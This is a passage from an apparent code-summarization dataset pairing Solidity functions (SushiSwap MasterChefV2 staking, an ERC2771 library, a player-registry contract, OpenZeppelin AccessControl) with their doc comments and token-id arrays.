blocks.mul(sushiPerBlock()).mul(pool.allocPoint) / totalAllocPoint; accSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply); } pending = int256(user.amount.mul(accSushiPerShare) / ACC_SUSHI_PRECISION).sub(user.rewardDebt).toUInt256(); } /// @notice Update reward variables for all pools. Be careful of gas spending! /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePools(uint256[] calldata pids) external { uint256 len = pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(pids[i]); } } /// @notice Calculates and returns the `amount` of SUSHI per block. function sushiPerBlock() public view returns (uint256 amount) { amount = uint256(MASTERCHEF_SUSHI_PER_BLOCK) .mul(MASTER_CHEF.poolInfo(MASTER_PID).allocPoint) / MASTER_CHEF.totalAllocPoint(); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.number > pool.lastRewardBlock) { uint256 lpSupply = lpToken[pid].balanceOf(address(this)); if (lpSupply > 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 sushiReward = blocks.mul(sushiPerBlock()).mul(pool.allocPoint) / totalAllocPoint; pool.accSushiPerShare = pool.accSushiPerShare.add((sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply).to128()); } pool.lastRewardBlock = block.number.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply, pool.accSushiPerShare); } } /// @notice Deposit LP tokens to MCV2 for SUSHI allocation. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to deposit. /// @param to The receiver of `amount` deposit benefit. function deposit(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][to]; // Effects user.amount = user.amount.add(amount); user.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, to, to, 0, user.amount); } lpToken[pid].safeTransferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, pid, amount, to); } /// @notice Withdraw LP tokens from MCV2. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens. function withdraw(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; // Effects user.rewardDebt = user.rewardDebt.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); user.amount = user.amount.sub(amount); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, 0, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); } /// @notice Harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of SUSHI rewards. function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION); uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedSushi; // Interactions if (_pendingSushi != 0) { SUSHI.safeTransfer(to, _pendingSushi); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward( pid, msg.sender, to, _pendingSushi, user.amount); } emit Harvest(msg.sender, pid, _pendingSushi); } /// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens and SUSHI rewards. function withdrawAndHarvest(uint256 pid, uint256 amount, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION); uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedSushi.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION)); user.amount = user.amount.sub(amount); // Interactions SUSHI.safeTransfer(to, _pendingSushi); IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, _pendingSushi, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); emit Harvest(msg.sender, pid, _pendingSushi); } /// @notice Harvests SUSHI from `MASTER_CHEF` MCV1 and pool `MASTER_PID` to this MCV2 contract. function harvestFromMasterChef() public { MASTER_CHEF.deposit(MASTER_PID, 0); } /// @notice Withdraw without caring about rewards. EMERGENCY ONLY. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of the LP tokens. function emergencyWithdraw(uint256 pid, address to) public { UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward(pid, msg.sender, to, 0, 0); } // Note: transfer can fail or succeed if `amount` is zero. lpToken[pid].safeTransfer(to, amount); emit EmergencyWithdraw(msg.sender, pid, amount, to); } }
@notice Harvest proceeds for transaction sender to `to`. @param pid The index of the pool. See `poolInfo`. @param to Receiver of SUSHI rewards. Effects Interactions
function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION); uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256(); user.rewardDebt = accumulatedSushi; if (_pendingSushi != 0) { SUSHI.safeTransfer(to, _pendingSushi); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward( pid, msg.sender, to, _pendingSushi, user.amount); } emit Harvest(msg.sender, pid, _pendingSushi); }
1,099,163
[ 1, 44, 297, 26923, 11247, 87, 364, 2492, 5793, 358, 1375, 869, 8338, 225, 4231, 1021, 770, 434, 326, 2845, 18, 2164, 1375, 6011, 966, 8338, 225, 358, 31020, 434, 11726, 2664, 45, 283, 6397, 18, 30755, 87, 5294, 4905, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 17895, 26923, 12, 11890, 5034, 4231, 16, 1758, 358, 13, 1071, 288, 203, 3639, 8828, 966, 3778, 2845, 273, 1089, 2864, 12, 6610, 1769, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 6610, 6362, 3576, 18, 15330, 15533, 203, 3639, 509, 5034, 24893, 55, 1218, 77, 273, 509, 5034, 12, 1355, 18, 8949, 18, 16411, 12, 6011, 18, 8981, 55, 1218, 77, 2173, 9535, 13, 342, 18816, 67, 6639, 2664, 45, 67, 3670, 26913, 1769, 203, 3639, 2254, 5034, 389, 9561, 55, 1218, 77, 273, 24893, 55, 1218, 77, 18, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 2934, 869, 14342, 5034, 5621, 203, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 24893, 55, 1218, 77, 31, 203, 203, 3639, 309, 261, 67, 9561, 55, 1218, 77, 480, 374, 13, 288, 203, 5411, 11726, 2664, 45, 18, 4626, 5912, 12, 869, 16, 389, 9561, 55, 1218, 77, 1769, 203, 3639, 289, 203, 540, 203, 3639, 15908, 359, 297, 765, 389, 266, 20099, 273, 283, 20099, 63, 6610, 15533, 203, 3639, 309, 261, 2867, 24899, 266, 20099, 13, 480, 1758, 12, 20, 3719, 288, 203, 5411, 389, 266, 20099, 18, 265, 55, 1218, 77, 17631, 1060, 12, 4231, 16, 1234, 18, 15330, 16, 358, 16, 389, 9561, 55, 1218, 77, 16, 729, 18, 8949, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 670, 297, 26923, 12, 3576, 18, 15330, 16, 4231, 16, 389, 9561, 55, 1218, 77, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/80001/0x12aB7c025E03c64c69D212c83d4Af75Fd2b2E012/sources/contracts/diamond/IDiamondCut.sol
Add=0, Replace=1, Remove=2
interface IDiamondCut { pragma solidity ^0.8.0; enum FacetCutAction {Add, Replace, Remove} struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } }
8,800,311
[ 1, 986, 33, 20, 16, 6910, 33, 21, 16, 3581, 33, 22, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 1599, 29401, 1434, 15812, 288, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 203, 225, 2792, 31872, 15812, 1803, 288, 986, 16, 6910, 16, 3581, 97, 203, 225, 1958, 31872, 15812, 288, 203, 565, 1758, 11082, 1887, 31, 203, 565, 31872, 15812, 1803, 1301, 31, 203, 565, 1731, 24, 8526, 445, 19277, 31, 203, 225, 289, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import 'openzeppelin-solidity/contracts/token/ERC721/ERC721.sol'; import './Club.sol'; ///@author Sanjay Sanathanan ///@title Contract that maintains the structure for each Player contract Players is Club{ uint public playerID; enum State {TransferListed,TransferAccept, NotListed} struct Player{ uint playerID; string name; uint value; uint wage; uint year; address club; State state; } mapping(uint => Player) public player; event PlayerAdded(uint indexed _pid); ///To get the player name ///@param _id Player id ///@return the name of the player function getPlayerName(uint _id) public view returns(string memory){ return player[_id].name; } ///To get the player value ///@param _id Player id ///@return the value(cost) of the player function getPlayerValue(uint _id) public view returns (uint){ return player[_id].value; } ///To get the player's weekly wage ///@param _id Player id ///@return the wage of the player function getPlayerWeeklyWage(uint _id) public view returns (uint){ return player[_id].wage; } ///To get the player's current year left in contract ///@param _id Player id ///@return the current year's left for the player's contract function getPlayerContractYear(uint _id) public view returns (uint){ return player[_id].year; } ///To get the player's current club ///@param _id Player id ///@return the current club of the player function getPlayerClub(uint _id) public view returns (string){ return clubName[player[_id].club]; } ///To get the player's current club address ///@param _id Player id ///@return the current club address of the player function getPlayerClubaddress(uint _id) public view returns (address){ return player[_id].club; } // Used for testing purposes function fetchPlayer(uint _pid) public view returns (string name, address club, string clubname,uint value, uint wage,uint length, uint state) { name = player[_pid].name; club = player[_pid].club; clubname = clubName[player[_pid].club]; value = player[_pid].value; wage = player[_pid].wage; length = player[_pid].year; state = uint(player[_pid].state); return (name,club,clubname,value,wage,length,state); } }
To get the player's current club@param _id Player id@return the current club of the player
function getPlayerClub(uint _id) public view returns (string){ return clubName[player[_id].club]; }
1,022,025
[ 1, 774, 336, 326, 7291, 1807, 783, 927, 373, 389, 350, 19185, 612, 2463, 326, 783, 927, 373, 434, 326, 7291, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 6363, 2009, 373, 12, 11890, 389, 350, 13, 1071, 1476, 203, 377, 1135, 261, 1080, 15329, 203, 4202, 327, 927, 373, 461, 63, 14872, 63, 67, 350, 8009, 830, 373, 15533, 21281, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.8; /// @dev Derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT licence) /// @dev See https://eips.ethereum.org/EIPS/eip-2771 library ERC2771Data { /// @notice Returns the sender address appended at the end of the calldata, as specified in ERC2771. function msgSender() internal pure returns (address sender) { assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } } /// @notice Returns the calldata omitting the appended sender address, as specified in ERC2771. function msgData() internal pure returns (bytes calldata data) { return msg.data[:msg.data.length - 20]; } }
@dev Derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT licence) @dev See https://eips.ethereum.org/EIPS/eip-2771
library ERC2771Data { pragma solidity ^0.8.8; function msgSender() internal pure returns (address sender) { assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } } function msgSender() internal pure returns (address sender) { assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } } function msgData() internal pure returns (bytes calldata data) { return msg.data[:msg.data.length - 20]; } }
7,222,625
[ 1, 21007, 628, 2333, 2207, 6662, 18, 832, 19, 3678, 62, 881, 84, 292, 267, 19, 3190, 94, 881, 84, 292, 267, 17, 16351, 87, 261, 6068, 328, 335, 802, 13, 225, 2164, 2333, 2207, 73, 7146, 18, 546, 822, 379, 18, 3341, 19, 41, 2579, 55, 19, 73, 625, 17, 22, 4700, 21, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 4232, 39, 22, 4700, 21, 751, 288, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 28, 31, 203, 565, 445, 1234, 12021, 1435, 2713, 16618, 1135, 261, 2867, 5793, 13, 288, 203, 3639, 19931, 288, 203, 5411, 5793, 519, 699, 86, 12, 10525, 16, 745, 72, 3145, 6189, 12, 1717, 12, 1991, 13178, 554, 9334, 4200, 20349, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 1234, 12021, 1435, 2713, 16618, 1135, 261, 2867, 5793, 13, 288, 203, 3639, 19931, 288, 203, 5411, 5793, 519, 699, 86, 12, 10525, 16, 745, 72, 3145, 6189, 12, 1717, 12, 1991, 13178, 554, 9334, 4200, 20349, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 1234, 751, 1435, 2713, 16618, 1135, 261, 3890, 745, 892, 501, 13, 288, 203, 3639, 327, 1234, 18, 892, 10531, 3576, 18, 892, 18, 2469, 300, 4200, 15533, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * 